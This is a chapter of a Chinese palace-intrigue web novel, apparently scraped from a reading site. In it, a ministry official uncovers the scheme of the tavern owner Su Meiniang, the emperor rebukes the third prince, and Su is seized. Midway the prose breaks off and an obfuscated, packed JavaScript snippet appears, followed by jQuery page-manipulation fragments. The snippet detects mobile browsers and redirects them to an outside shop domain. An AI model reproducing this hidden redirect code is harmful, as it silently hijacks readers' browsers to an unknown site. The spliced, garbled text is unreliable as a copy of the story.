34. 调查

作品:《别想跑!本殿非你不可

    啪嗒——


    发黄干透的泥巴狠狠砸在地上,露出里面的庐山真面目。


    丝丝香味传到众人的鼻尖,无不被吸引。


    周尚食顿时惊为天人。


    巧儿将做好的叫花鸡放到盘子里,轻轻扯开上面的荷叶,默默咽了下口水。


    “嘻嘻,李黎,成了!”


    李黎缓缓点了点头,“走吧,回屋里吃。”


    “好哦!”


    两人相携着正要离开,却被周尚食叫住了。


    “等等。”


    两人脚步一顿,齐齐转过身来,巧儿像只护食的小猫,一脸警惕地把叫花鸡往自己这边端了端。


    “尚食,你不会是想吃我们做的叫花鸡了吧?”


    周尚食的脸一僵,红了青,青了红,活像是走马灯似的。


    “那什么……我不就想尝尝巧儿你的手艺吗?”


    巧儿好整以暇,可爱的俏脸上划过一抹狡黠。


    故作沉思状,“行吧,看在你对我还不错的份上,等会儿我会给你留个鸡脖子的。”


    “呃……”


    瞬间,周尚食感谢的话语堵在了喉咙里,上不来,下不去。


    最终,他还是如愿以偿的品尝到了一个鸡翅膀。


    也就是从那时起,李黎身后多了一个胖乎乎的人形大仓鼠。


    实在是被他纠缠的有点儿烦了,李黎便时不时地传授他点儿菜谱。


    往往这时,周尚食的胖脸便笑得跟朵花儿一样,让瞧见他这副做派的巧儿撇了撇嘴。


    咦~~。


    ——


    永兴阁发生的事情传到了有心人的耳中,负责调查石婉晴失踪事件的刑部左侍郎裴明顺藤摸瓜,查到了被苏媚娘雇佣的那伙人。


    此刻他们被阿四打的伤还没好,一个个胳膊上、头上都裹满了纱布。


    当然最可怜的还是要数牙齿被打掉的那两位,至今不敢开口说话,生怕一张口就吃上一嘴的风,两颊鼓鼓囊囊,像两只癞蛤蟆,惹来旁人的嘲笑。


    属实是有些凄惨。


    一伙人准备去醉红妆找苏媚娘,答应他们的还没有完成呢,他们被打的这么惨,除了答应他们的十两银子外,几人还准备再多要二两银子的医药费。


    可还没到地方,就被一群差役团团围住了。


    裴明手底下的差役可不是好相予的,一个个冷血无情,属于那种常人见了都要抖三抖的程度。


    这不,几个原本就不怎么干净的家伙差点儿就被吓尿了。


    连忙拱手,露出一副“孙子”样,“各位官爷,有话好好说,我等最近可没有做什么坏事啊!”


    “做没做和我们走一趟不就知道了?上!”


    领头的差役根本不给他们开口的机会,直接就让人抓着他们往刑部大牢走去。


    “救命啊!就算你是官,我是民,天子脚下,怎么能乱抓人呢?”


    几人可是知道,下了大狱受点儿皮肉之苦都是轻的,一旦进去,很有可能就出不来了,当下一个比一个叫的凄惨。


    领头的差役眉头一蹙,朝着他的手下抬了抬下巴。


    手下瞬间秒懂,直接一记砍刀砍在了其中一人后边的脖颈上,其他人紧随其后。


    轮到最后一人时,他连忙喊停,脸上露出一抹苦涩,朝着两旁的差役道:“官爷,官爷,您别动手,我自己来。”


    说着,白眼一翻,整个人就装模作样的昏了过去,模样显得格外滑稽。


    他身旁的两个差役齐齐对视一眼,都看到了各自眼中的无语,拖着人跟上前面,往刑部大牢走去。


    还没用刑,几人就都交代了。


    “说说吧,你们和醉红妆的苏掌柜是什么关系?”


    “大人,我们只是受她雇佣的打手而已啊。”


    裴明抬眸,“是吗?那永兴阁东家的失踪是不是你们干的?”


    几人瞬间被吓了个半死,其中一人率先摆手解释道:“不不不不是的,和我们没有任何关系呀。”


    其余人等纷纷点头如捣蒜。


    现在几人的心情属于那种结婚了但新娘大庭广众之下跟人跑了被戴绿帽的憋闷感,他们不就是想多赚点儿银子吗,怎么什么屎盆子都往他们头上扣?


    生怕他们被当了替罪羊,或是怕这些官员们为了政绩胡乱给他们定罪,几人连忙辩解着,“我们根本就不认识什么永兴阁的东家,什么也不知道。”


    裴明勾了勾唇,“不认识,就敢跑到人家店里闹事,你们胆子够大啊!竟然敢惹到荣安郡王的头上。”


    “荣安郡王?”


    几人喃喃着,常在上阳地界混,谁人不知荣安郡王的威名,想起街头巷尾的传言,一个个腿软的不行,直接双膝跪地,“大人,天大的冤枉啊,那可是荣安郡王,动动手指,我等就死无全尸的存在,就是给小人天大的胆子也不敢得罪于他啊!”


    “是啊,是啊!”


    其余人等纷纷附和。


    裴明走到他跟前,直视着他们的眼睛,“你们知道那天打伤你们的人是谁吗?


    是荣安郡王的手下,你们还敢说没得罪了他?”


    “啊??”几人瞬间被吓破了胆子,怪不得那天巡逻的兵甲对那人那么恭敬,感情是这么回事儿。


    “大人,不知者无罪,我等真的不知他是荣安郡王的手下啊!况且……况且受伤的是我们啊!”


    裴明双眼瞪向他们,半是威胁,半是恐吓,“说的什么胡话?那可是荣安郡王,得罪了他,你们还想好过不成?”


    瞬间,几人的肠子都悔青了,该死的,真不应该为了区区十两银子就答应为苏媚娘那婆娘做事,这下好了,一个弄不好,他们的小命就彻底玩完了。


    “大人,救命啊!我等是无意的啊!罪魁祸首是那个醉红妆的苏媚娘,是她说的,永兴阁的东家早死了,她要趁机以低价买下永兴阁,我等无辜啊!大人。”


    裴明笑了。


    ——


    刘景万万没想到,这其中还有他三子刘夏的身影。


    尤其在看到三子和醉红妆的掌柜苏媚娘有染,而且苏媚娘还把主意打在了永兴阁头上,他的太阳穴就突突直跳。


    “这个逆子!”


    将供词一把拍在桌上,刘景气得胸膛一起一伏的。


    裴明连忙躬身,“陛下息怒!”


    刘景看向他,“朕息怒,息的了吗?堂堂皇子竟然和一个商户女勾结在一起,还纵容她无法无天,他刘夏读了这么多年的圣贤书,是读到狗肚子身上去了吗?!


    刘盛,把这个兔崽子给朕叫进宫,朕要当面和他好好聊聊。”


    最后两个字咬的格外重。


    刘盛赶忙应下,在心中默默为三皇子点了一排蜡烛。


    三皇子,惨了!


    ——


    刘盛的到来,出乎了刘夏的意料。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157775|194355||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“刘公公,什么风把您给吹来了?”


    刘盛朝他行了一礼,然后老神在在,“殿下,陛下请您进宫一趟。”


    刘夏一愣,点了点头,“好,不过,刘公公,到底出什么事儿了?”


    刘盛沉默一瞬,答:“殿下,您只需进宫便知晓。”


    刘夏坐在马车内,心底沉了沉。


    刚刚刘盛的态度已然说明了一切,他回想最近发生的事,不知到底哪里惹的他父皇不快了。


    想来想去想不出个所以然来,便闭上眼睛假寐,打算到时候见招拆招。


    马车咕噜噜朝着巍峨的皇宫驶去。


    凌云殿,刘景早已等候多时。


    刘夏刚一进门,就看到刘景黑如锅底的脸。


    心中顿时意识到今天这一关怕是不好过。


    不紧不慢地朝着上首施了一礼,“儿臣参见父皇!”


    “逆子!你看看你干的叫什么事儿?”


    见到他,刘景心中郁气难消。


    刘夏面上一震,适时露出几许紧张加疑惑,躬了躬身,“父皇,还请您明示,不知可否告知儿臣到底发生了何事?”


    裴明站在一旁,默不作声。


    刘景沉声,“刘盛,你拿给他看看。”


    “是。”


    刘盛双手拿起桌上的供词给到下首的刘夏。


    刘夏看着面前的供词,再看看身旁站立的裴明,哪里还有什么不明白的。


    “砰”的一声双膝跪地。


    就连裴明,听到他那声,都忍不住在心中“嘶”了一声,而后默默鼓掌。


    这招苦肉计,牛!


    “父皇,儿臣错了!”


    因为滑跪的太快,就连刘景都忍不住露出一抹讶异。


    就听刘夏继续道:“父皇,儿臣是被美色蒙了心了,请父皇责罚。”


    刘夏深知,他愈是狡辩,他父皇肯定愈加生气,不如来一招以退为进。


    事实也正如他想的那样。


    观察到刘景的脸色,他就知道他这步棋算是走对了。


    “父皇,儿臣回去定和那苏媚娘断绝来往,并将她交给刑部调查,至于永兴阁的一切损失,儿臣定会照价赔付。”


    刘景沉默半晌,闭上眼又睁开,“就这样办吧!”


    旁边的裴明内心啧啧,这样一比,大皇子在他面前显得就跟个稚儿一般,三皇子的心智非同一般呐!


    毕竟是自己的亲生儿子,刘景也不会拿他怎么样,最终选择轻拿轻放。


    摆了摆手道:“行了,下次再有这样的事发生,朕唯你是问!”


    “是,多谢父皇,儿臣必将谨记。”


    刘夏再次作了一揖。


    “儿臣告退。”


    起身,一瘸一拐缓缓离去。


    ——


    丝毫不知自己即将大难临头的苏媚娘,还在刘夏的宅院中以泪洗面。


    收到三皇子派来的消息,守门的两个死士最后遥望了屋内一眼,选择离开。


    而苏媚娘丝毫不觉。


    不多时,刘夏皇子府的管家便带着人冲进房间,连带着的,还有裴明手下的差役。


    突然的响动让苏媚娘瞬间回过神来。


    “管家,怎么是你?还有这些差役是怎么回事儿?”


    管家木着一张脸,丝毫没有平时见到苏媚娘言笑晏晏的模样。


    指着苏媚娘道:“把她抓起来!”